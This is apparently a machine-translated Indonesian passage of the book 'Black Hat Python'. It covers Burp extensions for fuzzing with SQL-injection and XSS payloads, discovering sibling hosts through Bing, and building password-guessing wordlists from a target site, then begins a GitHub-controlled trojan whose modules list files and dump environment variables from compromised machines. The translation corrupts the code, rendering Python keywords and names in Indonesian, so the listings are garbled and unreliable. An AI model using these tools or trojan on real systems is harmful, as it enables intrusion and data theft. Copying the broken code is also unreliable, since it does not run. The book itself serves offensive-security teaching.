Variabel current_payload hadir sebagai array byte, jadi kami mengonversinya menjadi
string 5 dan kemudian meneruskannya ke mutate_payload
metode fuzzing 6. Kami kemudian menambah variabel num_iterations 7
dan mengembalikan muatan yang bermutasi. Metode terakhir kami adalah metode
reset , yang kembali tanpa melakukan apa pun.
Sekarang mari kita tulis metode fuzzing paling sederhana di dunia, yang dapat
Anda modifikasi sesuai keinginan Anda. Misalnya, metode ini mengetahui nilai payload
saat ini, jadi jika Anda memiliki protokol rumit yang memerlukan sesuatu yang khusus,
seperti checksum CRC atau bidang panjang, Anda dapat melakukan penghitungan
tersebut di dalam metode ini sebelum kembali. Tambahkan kode berikut ke bhp_fuzzer.py,
di dalam kelas BHPFuzzer :

def mutate_payload(mandiri,payload_asli):
# pilih mutator sederhana atau panggil skrip eksternal
pemilih = acak.randint(1,3)

# pilih offset acak pada payload yang akan dimutasi


offset = acak.randint(0,len(payload_asli)-1)

1 depan, belakang = original_payload[:offset], original_payload[offset:]

# offset acak menyisipkan upaya injeksi SQL


jika pemilih == 1:
"'"
2 depan +=

# menghambat upaya XSS


pemilih elif == 2:
3 depan += "<script>peringatan('BHP!');</script>"

# ulangi potongan acak dari payload asli


pemilih elif == 3:
4 chunk_length = acak.randint(0, len(kembali)-1)
pengulang = acak.randint(1, 10)
_
untuk dalam jangkauan (repeater):
depan += muatan_asli[:offset + panjang_potongan]

5 kembali depan + belakang

Pertama, kita mengambil payload dan membaginya menjadi dua bagian dengan
panjang acak, depan dan belakang 1. Kemudian, kita memilih secara acak dari tiga
mutator: tes injeksi SQL sederhana yang menambahkan tanda kutip tunggal di akhir bagian
depan 2, pengujian skrip lintas situs (XSS) yang menambahkan tag skrip di bagian akhir depan
potongan 3, dan mutator yang memilih potongan acak dari payload asli, mengulanginya
beberapa kali secara acak, dan menambahkan hasilnya ke akhir potongan depan 4.
Kemudian, kita menambahkan potongan belakang ke bagian depan yang diubah
chunk untuk menyelesaikan mutasi payload 5. Kami sekarang memiliki ekstensi Burp Intruder
yang dapat kami gunakan. Mari kita lihat cara memuatnya.

100 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Menendang Ban
Pertama, kita harus memuat ekstensi dan memastikan tidak ada kesalahan.
Klik tab Extender di Burp lalu klik tombol Add . Sebuah layar akan muncul,
memungkinkan Anda mengarahkan Burp ke fuzzer. Pastikan Anda mengatur opsi yang
sama seperti yang ditunjukkan pada Gambar 6-3.

Gambar 6-3: Mengatur Burp untuk memuat ekstensi kita

Klik Berikutnya, dan Burp akan mulai memuat ekstensi. jika ada
kesalahan, klik tab Kesalahan , debug kesalahan ketik apa pun, lalu klik Tutup. Layar
Extender Anda sekarang akan terlihat seperti Gambar 6-4.

Gambar 6-4: Burp Extender menunjukkan bahwa ekstensi kita dimuat

Memperluas Proksi Burp 101


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Seperti yang Anda lihat, ekstensi kami telah dimuat dan Burp telah
mengidentifikasi generator payload Intruder yang terdaftar. Kami sekarang siap
memanfaatkan ekstensi dalam serangan nyata. Pastikan browser web Anda diatur
untuk menggunakan Burp Proxy sebagai proxy localhost pada port 8080. Sekarang
mari kita serang aplikasi web Acunetix yang sama dari Bab 5. Cukup telusuri ke http:// testphp
.vulnweb.com/.
Sebagai contoh, penulis menggunakan bilah pencarian kecil di situs mereka untuk
mengirimkan pencarian untuk string "test". Gambar 6-5 menunjukkan bagaimana Anda dapat melihat
permintaan ini di tab riwayat HTTP pada menu Proxy. Klik kanan permintaan untuk mengirimkannya
ke Penyusup.

Gambar 6-5: Memilih permintaan HTTP untuk dikirim ke Intruder

Sekarang beralih ke tab Penyusup dan klik tab Posisi . Sebuah layar akan muncul,
memperlihatkan setiap parameter kueri yang disorot. Ini adalah cara Burp mengidentifikasi titik-titik
yang harus kita samarkan. Anda dapat mencoba memindahkan pembatas muatan atau memilih
seluruh muatan untuk difuzz jika Anda mau, tetapi untuk saat ini, biarkan Burp memutuskan
apa yang akan difuzz. Untuk lebih jelasnya, lihat Gambar 6-6, yang menunjukkan cara kerja
penyorotan muatan.
Sekarang klik tab Payload . Di layar ini, klik jenis Payload
drop-down dan pilih Ekstensi yang dihasilkan. Pada bagian Payload Options,
klik Select generator. . . tombol dan pilih BHP Payload Generator dari drop-
down. Layar Payload Anda sekarang akan terlihat seperti Gambar 6-7.

102 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Gambar 6-6: Burp Intruder menyoroti parameter payload

Gambar 6-7: Menggunakan ekstensi fuzzing sebagai generator muatan

Memperluas Proksi Burp 103


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Sekarang kami siap mengirim permintaan. Di bagian atas bilah menu Burp, klik
Intruder lalu pilih Start Attack. Burp akan mulai mengirimkan permintaan yang tidak jelas,
dan Anda akan segera dapat melihat hasilnya dengan cepat.
Ketika penulis menjalankan fuzzer, kami menerima output yang ditunjukkan pada
Gambar 6-8.

Gambar 6-8: Fuzzer kita berjalan dalam serangan Intruder

Seperti yang Anda lihat dari peringatan tebal dalam respons terhadap permintaan 7,
kami telah menemukan apa yang tampaknya merupakan kerentanan injeksi SQL.
Meskipun kami membuat fuzzer ini hanya untuk tujuan demonstrasi, Anda akan
terkejut betapa efektifnya membuat aplikasi web menghasilkan kesalahan, mengungkapkan
jalur aplikasi, atau menghasilkan perilaku yang mungkin terlewatkan oleh banyak pemindai
lain. Yang paling penting, kami berhasil membuat ekstensi khusus kami berfungsi dengan
serangan Intruder Burp. Sekarang mari kita buat ekstensi yang akan membantu kita melakukan
pengintaian lebih lanjut terhadap server web.

Bing untuk Bersendawa

Bukan hal yang aneh jika satu server web melayani beberapa aplikasi web, beberapa di
antaranya mungkin tidak Anda sadari. Jika Anda menyerang server, Anda harus melakukan
yang terbaik untuk menemukan nama host lain ini, karena mereka mungkin memberi Anda
cara yang lebih mudah untuk mendapatkan shell. Tidak jarang menemukan aplikasi web
yang tidak aman, atau bahkan sumber daya pengembangan, terletak di mesin yang sama
dengan target Anda. Mesin pencari Bing Microsoft memiliki kemampuan pencarian yang
memungkinkan Anda menanyakan Bing untuk semua situs web yang ditemukannya pada satu
alamat IP menggunakan pengubah pencarian “IP”. Bing juga akan memberi tahu Anda
semua subdomain dari domain tertentu jika Anda menggunakan pengubah pencarian “domain”.

104 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Sekarang, kita bisa menggunakan scraper untuk mengirimkan pertanyaan ini ke Bing dan kemudian
mendapatkan HTML di hasilnya, tapi itu merupakan tindakan yang buruk (dan juga melanggar
ketentuan penggunaan sebagian besar mesin pencari). Agar terhindar dari masalah, kami akan
menggunakan Bing API1 untuk mengirimkan kueri ini secara terprogram dan menguraikan sendiri
hasilnya. Kecuali untuk menu konteks, kami tidak akan menerapkan penambahan GUI Burp yang
mewah dengan ekstensi ini; kita cukup mengeluarkan hasilnya ke Burp setiap kali kita menjalankan
kueri, dan setiap URL yang terdeteksi ke cakupan target Burp akan ditambahkan secara otomatis.

Karena kami telah memandu Anda tentang cara membaca dokumentasi Burp API dan
menerjemahkannya ke dalam Python, mari langsung ke kodenya.
Buka bhp_bing.py dan selesaikan yang berikut ini:

dari bersendawa impor IBurpExtender


dari bersendawa impor IContextMenuFactory

dari URL impor java.net


dari java.util impor ArrayList
dari javax.swing impor JMenuItem
dari utas impor start_new_thread

impor json
soket impor
impor urllib
1 API_KEY = "Kunci ANDA"
API_HOST = 'api.kognitif.microsoft.com'

2 kelas BurpExtender(IBurpExtender, IContextMenuFactory):


def registerExtenderCallbacks(mandiri, panggilan balik):
self._callbacks = panggilan balik
self._helpers = panggilan balik.getHelpers()
self.context = Tidak ada

# kami menyiapkan ekstensi kami


callbacks.setExtensionName("BHP Bing")
3 panggilan balik.registerContextMenuFactory(mandiri)

kembali

def createMenuItems(mandiri, konteks_menu):


diri.konteks = konteks_menu
menu_list = Daftar Array()
4 menu_list.tambahkan(JMenuItem(
"Kirim ke Bing", actionPerformed=self.bing_menu))
kembali menu_daftar

Ini adalah bagian pertama dari ekstensi Bing kami. Pastikan Anda menempelkan kunci Bing API
di tempat 1. Anda diperbolehkan melakukan 1000 pencarian gratis per bulan.
Kita mulai dengan mendefinisikan BurpExtender kelas 2 yang mengimplementasikan antarmuka
IBurpExtender standar , dan IContextMenuFactory, yang memungkinkan kita untuk

1. Kunjungi https:// azure.microsoft.com/ en-us/ services/ cognitive-services/ bing-web-search-api/ untuk bersiap-siap


dengan kunci Bing API gratis Anda sendiri.

Memperluas Proksi Burp 105


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

menyediakan menu konteks ketika pengguna mengklik kanan permintaan di Burp. Menu
ini akan menampilkan pilihan “Kirim ke Bing”. Kami mendaftarkan pengendali menu 3
yang akan menentukan situs mana yang diklik pengguna, memungkinkan kami membuat
kueri Bing. Kemudian kita menyiapkan metode createMenuItem , yang akan menerima objek
IContextMenuInvocation dan menggunakannya untuk menentukan permintaan HTTP mana
yang dipilih pengguna. Langkah terakhir adalah merender item menu dan menangani event
klik dengan metode bing_menu 4.
Sekarang mari kita lakukan kueri Bing, keluarkan hasilnya, dan tambahkan apa pun
menemukan host virtual ke cakupan target Burp:

def bing_menu(diri,acara):

# ambil detail dari apa yang diklik pengguna


1 http_traffic = self.context.getSelectedMessages()

print("%d permintaan disorot" % len(http_traffic))

untuk lalu lintas di http_traffic:


http_service = lalu lintas.getHttpService()
tuan rumah
= http_service.getHost()

print("Host yang dipilih pengguna: %s" % host)


mandiri.bing_search(host)

kembali

def bing_search(mandiri,host):
# periksa apakah kita memiliki IP atau nama host
mencoba:

2 is_ip = bool(socket.inet_aton(host))
kecuali soket.kesalahan:
is_ip = Salah

jika is_ip:
ip_address = tuan rumah
domain = Salah
kalau tidak:

ip_address = soket.gethostbyname(host)
domain = Benar

3 start_new_thread(self.bing_query, ('ip:%s' % ip_address,))

jika domain:
4 start_new_thread(self.bing_query, ('domain:%s' % host,))

Metode bing_menu terpicu ketika pengguna mengklik item menu konteks yang kami
tentukan. Kami mengambil permintaan HTTP yang disorot 1. Kemudian kami mengambil bagian
host dari setiap permintaan dan mengirimkannya ke bing_search
metode untuk diproses lebih lanjut. Metode bing_search pertama-tama menentukan apakah
bagian host adalah alamat IP atau nama host 2. Kami kemudian menanyakan Bing untuk

106 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

semua virtual host yang mempunyai alamat IP 3 yang sama dengan hostnya. Jika ekstensi
kami menerima domain juga, maka kami melakukan pencarian sekunder untuk setiap
subdomain yang mungkin telah diindeks Bing 4.
Sekarang mari kita instal pipa yang kita perlukan untuk mengirim permintaan ke Bing dan
mengurai hasilnya menggunakan API HTTP Burp. Tambahkan kode berikut dalam kelas
BurpExtender :

def bing_query(diri sendiri,bing_query_string):


print('Melakukan pencarian Bing: %s' % bing_query_string)
http_request = 'DAPATKAN https://%s/bing/v7.0/search?' %API_HOST
# menyandikan kueri kita
http_request += 'q=%s HTTP/1.1\r\n' % urllib.quote(bing_query_string)
http_request += 'Host: %s\r\n' % API_HOST
http_request += 'Koneksi: tutup\r\n'
1 http_request += 'Ocp-Apim-Kunci Langganan: %s\r\n' % API_KEY
http_request += 'Agen-Pengguna: Black Hat Python\r\n\r\n'

2 json_body = mandiri._callbacks.makeHttpRequest(
API_HOST, 443, Benar, http_request).tostring()
3 json_body = json_body.split('\r\n\r\n', 1)[1]

mencoba:

4 respons = json.loads(json_body)
kecuali (TypeError, ValueError) sebagai err:
print('Tidak ada hasil dari Bing: %s' % err)
kalau tidak:

situs = daftar()
jika respon.mendapatkan('Halaman Web'):
situs = respons['Halaman Web']['nilai']
jika len(situs):
untuk situs di situs:
5 cetak('*'*100)
'
print('Nama: %s % situs['nama'])
'
print('URL: %s % situs['url'])
print('Deskripsi: %r' % situs['cuplikan'])
mencetak('*'*100)

java_url = URL(situs['url'])
6 jika bukan self._callbacks.isInScope(java_url):
print('Menambahkan %s ke cakupan Burp' % situs['url'])
self._callbacks.includeInScope(java_url)
kalau tidak:

print('Respon kosong dari Bing.: %s'


%bing_query_string)
kembali

API HTTP Burp mengharuskan kita membuat seluruh permintaan HTTP sebagai string
sebelum mengirimkannya. Kita juga perlu menambahkan kunci Bing API untuk membuat
panggilan API 1. Kami kemudian mengirimkan permintaan HTTP 2 ke server Microsoft.
Ketika respons kembali, kami membagi header menjadi 3 dan kemudian meneruskannya ke

Memperluas Proksi Burp 107


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

parser JSON kami 4. Untuk setiap rangkaian hasil, kami menampilkan beberapa informasi
tentang situs yang kami temukan 5. Jika situs yang ditemukan tidak berada dalam cakupan
target Burp 6, kami secara otomatis menambahkannya.
Dalam melakukannya, kami telah memadukan Jython API dan Python murni dalam
ekstensi Burp. Ini akan membantu kita melakukan pekerjaan pengintaian tambahan ketika kita
menyerang target tertentu. Mari kita coba.

Menendang Ban
Agar ekstensi pencarian Bing berfungsi, gunakan prosedur yang sama yang kami gunakan untuk
ekstensi fuzzing. Saat dimuat, telusuri ke http:// testphp.vulnweb.
com/ lalu klik kanan permintaan GET yang baru saja Anda keluarkan. Jika ekstensi dimuat
dengan benar, Anda akan melihat opsi menu “Kirim ke Bing” ditampilkan, seperti yang
ditunjukkan pada Gambar 6-9.

Gambar 6-9: Opsi menu baru yang menunjukkan ekstensi kami

Ketika Anda mengklik opsi menu ini, Anda akan mulai melihat hasilnya
Bing, seperti pada Gambar 6-10. Jenis hasil yang Anda peroleh akan bergantung pada
keluaran yang Anda pilih saat memuat ekstensi.
Jika Anda mengklik tab Target di Burp dan memilih Scope, Anda akan melihat item baru
secara otomatis ditambahkan ke cakupan target, seperti yang ditunjukkan pada Gambar 6-11.
Cakupan target membatasi aktivitas seperti serangan, spidering, dan pemindaian hanya pada host
yang ditentukan.

108 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Gambar 6-10: Ekstensi kami menyediakan output dari pencarian Bing API

Gambar 6-11: Menampilkan bagaimana host yang ditemukan secara otomatis ditambahkan ke target Burp
cakupan

Memperluas Proksi Burp 109


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Mengubah Konten Situs Web menjadi Kata Sandi Emas


Seringkali, keamanan bergantung pada satu hal: kata sandi pengguna. Ini menyedihkan
tapi benar. Lebih buruk lagi, ketika menyangkut aplikasi web, terutama aplikasi khusus,
sering kali ditemukan bahwa aplikasi tersebut tidak mengunci pengguna dari akun mereka
setelah sejumlah upaya autentikasi yang gagal.
Dalam kasus lain, mereka tidak menerapkan kata sandi yang kuat. Dalam kasus ini, sesi
menebak kata sandi online seperti yang ada di bab terakhir mungkin hanya merupakan
tiket untuk mendapatkan akses ke situs.
Trik menebak kata sandi online adalah mendapatkan daftar kata yang tepat. Anda
tidak dapat menguji 10 juta kata sandi jika Anda sedang terburu-buru, jadi Anda harus
bisa membuat daftar kata yang ditargetkan ke situs yang dimaksud. Tentu saja, ada
skrip di Kali Linux yang merayapi situs web dan menghasilkan daftar kata berdasarkan
konten situs. Namun jika Anda sudah menggunakan Burp untuk memindai situs, mengapa
mengirimkan lebih banyak lalu lintas hanya untuk menghasilkan daftar kata? Selain itu,
skrip tersebut biasanya memiliki banyak argumen baris perintah yang perlu diingat. Jika
Anda seperti saya, Anda sudah cukup menghafal argumen baris perintah untuk
mengesankan teman-teman Anda, jadi mari buat Burp melakukan tugas berat.
Buka bhp_wordlist.py dan hapus kode ini:

dari bersendawa impor IBurpExtender


dari bersendawa impor IContextMenuFactory

dari java.util impor ArrayList


dari javax.swing impor JMenuItem

dari tanggal waktu impor tanggal waktu


dari HTMLParser impor HTMLParser

impor ulang

kelas TagStripper(HTMLParser):
def __init__(diri):
HTMLParser.__init__(diri)
mandiri.halaman_teks = []

def handle_data(diri, data):


1 self.page_text.append(data)

def handle_comment(diri, data):


2 self.page_text.append(data)

def strip(diri sendiri, html):


mandiri.umpan(html)
3 kembali " ".join(self.page_text)

kelas BurpExtender(IBurpExtender, IContextMenuFactory):


def registerExtenderCallbacks(mandiri, panggilan balik):
self._callbacks = panggilan balik

110 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

self._helpers = panggilan balik.getHelpers()


self.context = Tidak ada
mandiri.hosts = set()

# Mulailah dengan sesuatu yang kita tahu adalah hal yang umum
4 diri.daftar kata = set(["kata sandi"])

# kami menyiapkan ekstensi kami


callbacks.setExtensionName("Daftar Kata BHP")
callbacks.registerContextMenuFactory(mandiri)

kembali

def createMenuItems(mandiri, konteks_menu):


diri.konteks = konteks_menu
menu_list = Daftar Array()
menu_list.tambahkan(JMenuItem(
"Buat Daftar Kata", actionPerformed=self.wordlist_menu))

kembali menu_daftar

Kode dalam daftar ini seharusnya sudah cukup familiar sekarang. Kami mulai dengan
mengimpor modul yang diperlukan. Kelas pembantu TagStripper akan memungkinkan kita
menghapus tag HTML dari respons HTTP yang kita proses nanti. Metode handle_data -nya
menyimpan teks halaman 1 dalam variabel anggota. Kami juga mendefinisikan metode
handle_comment karena kami juga ingin menambahkan kata-kata yang disimpan dalam
komentar pengembang ke daftar kata sandi. Di bawah selimut, pegangan_
comment cukup panggil handle_data 2 (jika kami ingin mengubah cara kami memproses teks halaman nanti).

Metode strip memasukkan kode HTML ke kelas dasar, HTMLParser, dan


mengembalikan teks halaman yang dihasilkan 3, yang akan berguna nanti. Selebihnya
hampir sama persis dengan awal skrip bhp_bing.py yang baru saja kita selesaikan. Sekali lagi,
tujuannya adalah untuk membuat item menu konteks di Burp UI. Satu-satunya hal yang baru di
sini adalah kami menyimpan daftar kata kami dalam satu set, yang memastikan bahwa kami
tidak memasukkan kata-kata duplikat seiring berjalannya waktu. Kami menginisialisasi set
dengan kata sandi favorit semua orang, “kata sandi” 4, hanya untuk memastikan kata sandi
tersebut masuk dalam daftar akhir kami.
Sekarang mari tambahkan logika untuk mengambil lalu lintas HTTP yang dipilih dari Burp dan
mengubahnya menjadi daftar kata dasar:

def wordlist_menu(diri,acara):
# ambil detail dari apa yang diklik pengguna
http_traffic = mandiri.konteks.getSelectedMessages()

untuk lalu lintas di http_traffic:


http_service = lalu lintas.getHttpService()
tuan rumah = http_service.getHost()
1 mandiri.hosts.tambahkan(host)

Memperluas Proksi Burp 111


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

http_response = lalu lintas.getResponse()


jika http_respons:
2 mandiri.get_words(http_response)

mandiri.display_wordlist()
kembali

def get_words(diri sendiri, http_response):


header, body = http_response.tostring().split('\r\n\r\n', 1)

# lewati tanggapan non-teks


3 jika headers.lower().find("tipe konten: teks") == -1:
kembali

tag_stripper = TagStripper()
4 halaman_teks = tag_stripper.strip(badan)

5 kata = re.findall("[a-zA-Z]\w{2,}", page_text)

untuk kata dalam kata-kata:

# memfilter string yang panjang


jika len(kata) <= 12:
6 self.daftar kata.tambahkan(kata.bawah())

kembali

Urutan pertama bisnis kita adalah mendefinisikan metode wordlist_menu , yang


menangani klik menu. Ini menyimpan nama host 1 yang merespons untuk nanti dan kemudian
mengambil respons HTTP dan memasukkannya ke metode get_words 2.
Dari sana, get_words memeriksa header respons untuk memastikan kami hanya
memproses respons berbasis teks. 3. TagStripper kelas 4 menghapus kode HTML dari
teks halaman lainnya. Kami menggunakan ekspresi reguler untuk menemukan semua kata
yang dimulai dengan karakter alfabet dan dua atau lebih karakter “kata” seperti yang
ditentukan dengan ekspresi reguler \w{2,} 5. Kami menyimpan kata-kata yang cocok
dengan pola ini ke daftar kata dalam huruf kecil 6 .
Sekarang mari kita sempurnakan skripnya dengan memberinya kemampuan untuk memotong-motong dan
menampilkan daftar kata yang diambil:

def mangle(diri, kata):


= tanggalwaktu.sekarang().tahun
akhiran tahun 1 = ["", "1", "!", tahun]
hancur = []

untuk kata sandi di (Word, Word.capitalize()):


untuk sufiks dalam sufiks:
2 manled.append("%s%s" % (kata sandi, akhiran))

kembali hancur

112 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

def display_wordlist(diri):
3 cetak "#!komentar: Daftar Kata BHP untuk situs %s" % ", ".join(self.hosts)

untuk kata yang diurutkan (self.wordlist):


untuk kata sandi di self.mangle(kata):
kata sandi cetak

kembali

Bagus sekali! Metode mangle mengambil kata dasar dan mengubahnya menjadi
sejumlah tebakan kata sandi berdasarkan beberapa strategi umum pembuatan kata sandi.
Dalam contoh sederhana ini, kita membuat daftar sufiks untuk ditempelkan di akhir kata
dasar, termasuk tahun berjalan 1. Selanjutnya, kita mengulang setiap sufiks dan
menambahkannya ke kata dasar 2 untuk membuat upaya kata sandi yang unik. Kami
melakukan perulangan lain dengan versi kata dasar yang dikapitalisasi untuk pengukuran
yang baik. Dalam metode display_wordlist , kami mencetak komentar bergaya “John the
Ripper” 3 untuk mengingatkan kami situs mana yang kami gunakan untuk membuat daftar kata
ini. Kemudian kami memotong setiap kata dasar dan mencetak hasilnya. Saatnya mengajak
bayi ini bermain-main.

Menendang Ban
Klik tab Extender di Burp, klik tombol Add , dan kemudian gunakan prosedur yang sama
seperti yang kita gunakan untuk ekstensi sebelumnya agar ekstensi Wordlist berfungsi.

Di tab Dashboard, pilih New live task, seperti yang ditunjukkan pada Gambar 6-12.

Gambar 6-12: Memulai pemindaian pasif langsung dengan Burp

Saat dialog muncul, pilih Tambahkan semua tautan yang diamati di lalu lintas. . .,
seperti yang ditunjukkan pada Gambar 6-13, dan klik OK.

Memperluas Proksi Burp 113


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Gambar 6-13: Mengonfigurasi pemindaian pasif langsung dengan Burp

Setelah Anda mengonfigurasi pemindaian, telusuri ke http:// testphp.vulnweb.com/


untuk menjalankannya. Setelah Burp mengunjungi semua link di situs target, pilih semua
permintaan di panel kanan atas tab Target , klik kanan permintaan tersebut untuk
membuka menu konteks, dan pilih Buat Daftar Kata, seperti yang ditunjukkan pada Gambar 6-14 .

Gambar 6-14: Mengirim permintaan ke ekstensi BHP Wordlist

114 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Sekarang periksa tab Output dari ekstensi. Dalam praktiknya, kami akan menyimpan outputnya ke
sebuah file, namun untuk tujuan demonstrasi kami menampilkan daftar kata di Burp, seperti yang ditunjukkan
pada Gambar 6-15.
Anda sekarang dapat memasukkan daftar ini kembali ke Burp Intruder untuk melakukan
serangan menebak kata sandi yang sebenarnya.

Gambar 6-15: Daftar kata sandi berdasarkan konten dari situs web target

Kami sekarang telah mendemonstrasikan sebagian kecil dari Burp API dengan menghasilkan muatan
serangan kami sendiri, serta membuat ekstensi yang berinteraksi dengan Burp UI. Selama pengujian penetrasi,
Anda akan sering menghadapi masalah atau kebutuhan otomasi tertentu, dan Burp Extender API menyediakan
antarmuka yang sangat baik untuk membuat kode, atau setidaknya menyelamatkan Anda dari keharusan terus-
menerus menyalin dan menempel menangkap data dari Burp ke alat lain.

Memperluas Proksi Burp 115


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

7
PERINTAH DAN KONTROL GITHUB

Misalkan Anda telah mengkompromikan sebuah mesin.


Sekarang Anda ingin perangkat tersebut melakukan tugas
secara otomatis dan melaporkan temuannya kembali kepada
Anda. Dalam bab ini kita akan membuat kerangka kerja trojan itu
akan tampak tidak berbahaya pada mesin jarak jauh, namun kita akan
dapat menugaskannya segala macam tugas jahat.
Salah satu aspek paling menantang dalam menciptakan kerangka kerja trojan yang
solid adalah mencari tahu cara mengontrol, memperbarui, dan menerima data dari implan Anda.
Yang terpenting, Anda memerlukan cara yang relatif universal untuk memasukkan kode ke trojan jarak
jauh Anda. Salah satu alasannya adalah fleksibilitas ini memungkinkan Anda melakukan tugas
yang berbeda pada setiap sistem. Selain itu, terkadang Anda mungkin memerlukan trojan untuk
menjalankan kode secara selektif untuk sistem operasi target tertentu, namun tidak untuk sistem operasi lainnya.
Meskipun peretas telah merancang banyak metode perintah dan kontrol yang kreatif selama
bertahun-tahun, dengan mengandalkan teknologi seperti protokol Internet Relay Chat (IRC) dan
bahkan Twitter, kami akan mencoba layanan yang sebenarnya dirancang untuk kode. Kami akan
menggunakan GitHub sebagai cara untuk menyimpan informasi konfigurasi implan kami dan sebagai
sarana untuk mengekstrak data dari sistem korban. Selain itu, kami akan menghosting modul apa
pun yang dibutuhkan implan untuk menjalankan tugas di GitHub. Di dalam
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Setelah menyiapkan semua ini, kami akan meretas mekanisme impor pustaka asli Python
sehingga saat Anda membuat modul trojan baru, implan Anda dapat mengambilnya secara
otomatis, dan pustaka dependen lainnya, langsung dari repo Anda.
Memanfaatkan GitHub untuk tugas-tugas ini bisa menjadi strategi cerdas: lalu lintas Anda
ke GitHub akan dienkripsi melalui Secure Sockets Layer (SSL), dan kami sebagai penulis telah melihat
sangat sedikit perusahaan yang secara aktif memblokir GitHub itu sendiri. Kami akan menggunakan
repo pribadi sehingga pengintai tidak dapat melihat apa yang kami lakukan. Setelah Anda mengkodekan
kemampuan tersebut ke dalam trojan, secara teoritis Anda dapat mengubahnya menjadi biner dan
meletakkannya di mesin yang telah disusupi sehingga dapat berjalan tanpa batas waktu. Kemudian
Anda dapat menggunakan repositori GitHub untuk memberi tahu apa yang harus dilakukan dan
menemukan apa yang ditemukannya.

Menyiapkan Akun GitHub


Jika Anda tidak memiliki akun GitHub, kunjungi https:// github.com/, mendaftar, dan buat repositori
baru bernama bhptrojan. Selanjutnya, instal pustaka Python GitHub API sehingga Anda dapat
mengotomatiskan interaksi Anda dengan repo1 :

pip instal github3.py

Sekarang mari kita buat struktur dasar untuk repo kita. Masukkan yang berikut ini pada baris
perintah:

$ mkdir bhptrojan
$ cd bhptrojan
$git panas
$ modul mkdir
$mkdir konfigurasi
$ mkdir data
$ sentuh .gitignore
$ git add $ .
git commit -m "Menambahkan struktur repo untuk trojan."
$ git jarak jauh tambahkan asal https://github.com/<nama pengguna Anda>/bhptrojan.git
$ git dorong master asal

Di sini, kami telah membuat struktur awal untuk repo. Direktori config menyimpan file
konfigurasi unik untuk setiap trojan. Saat Anda menyebarkan trojan, Anda ingin masing-masing
trojan melakukan tugas yang berbeda, sehingga setiap trojan akan memeriksa file konfigurasi
terpisah. Direktori modul berisi kode modular apa pun yang harus diambil dan dijalankan oleh
trojan. Kami akan menerapkan peretasan impor khusus untuk memungkinkan trojan kami
mengimpor perpustakaan langsung dari repo GitHub kami.
Kemampuan pemuatan jarak jauh ini juga memungkinkan Anda menyimpan perpustakaan pihak
ketiga di GitHub sehingga Anda tidak perlu terus-menerus mengkompilasi ulang trojan Anda setiap
kali Anda ingin menambahkan fungsionalitas atau dependensi baru. Direktori data adalah tempat
trojan akan memeriksa setiap data yang dikumpulkan.
Anda dapat membuat token akses pribadi di situs GitHub dan menggunakannya sebagai
pengganti kata sandi saat melakukan operasi Git melalui HTTPS dengan

1. Halaman unduh PyPi ada di sini: https:// pypi.org/ project/ github3.py/.

118 Bab 7
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

API. Token tersebut harus memberikan izin baca dan tulis kepada trojan kita, karena ia perlu membaca
konfigurasinya dan menulis hasilnya. Ikuti petunjuk di situs GitHub untuk membuat token dan
menyimpan string token dalam file lokal bernama mytoken.txt.
2
Kemudian, tambahkan mytoken.txt ke file .gitignore sehingga
Anda tidak memasukkan kredensial Anda ke repositori secara tidak sengaja.
Sekarang mari kita membuat beberapa modul sederhana dan contoh file konfigurasi.

Membuat Modul
Di bab selanjutnya, Anda akan melakukan hal-hal buruk dengan trojan Anda, seperti mencatat
penekanan tombol dan mengambil tangkapan layar. Namun untuk memulai, mari kita buat
beberapa modul sederhana yang dapat kita uji dan terapkan dengan mudah. Buka file baru di
direktori modul , beri nama dirlister.py, dan masukkan kode berikut:

impor mereka

def lari(**args):
print("[*] Dalam modul direktorir.")
file = os.listdir(".")
kembalikan str(file)

Potongan kecil kode ini mendefinisikan fungsi run yang mencantumkan semua file di
direktori saat ini dan mengembalikan daftar tersebut sebagai string. Setiap modul yang Anda
kembangkan harus mengekspos fungsi run yang menggunakan sejumlah argumen yang bervariasi.
Hal ini memungkinkan Anda memuat setiap modul dengan cara yang sama, namun tetap
memungkinkan Anda menyesuaikan file konfigurasi untuk meneruskan argumen berbeda ke modul
jika Anda menginginkannya.
Sekarang mari kita buat modul lain dalam file bernama environment.py:

impor mereka

def lari(**args):
print("[*] Dalam modul lingkungan.")
kembalikan os.environ

Modul ini hanya mengambil variabel lingkungan apa pun yang disetel pada mesin jarak jauh
tempat trojan dijalankan.
Sekarang mari kita masukkan kode ini ke repo GitHub kita sehingga trojan kita dapat
menggunakannya. Dari baris perintah, masukkan kode berikut dari direktori repositori utama Anda:

$ git tambahkan .
$ git commit -m "Menambahkan modul baru"
$ git dorong master asal
Nama belakang: ********
Kata sandi: ********

2. https:// help.github.com/ en/ github/ authenticating-to-github/


membuat-token-akses-pribadi-untuk-baris-perintah/

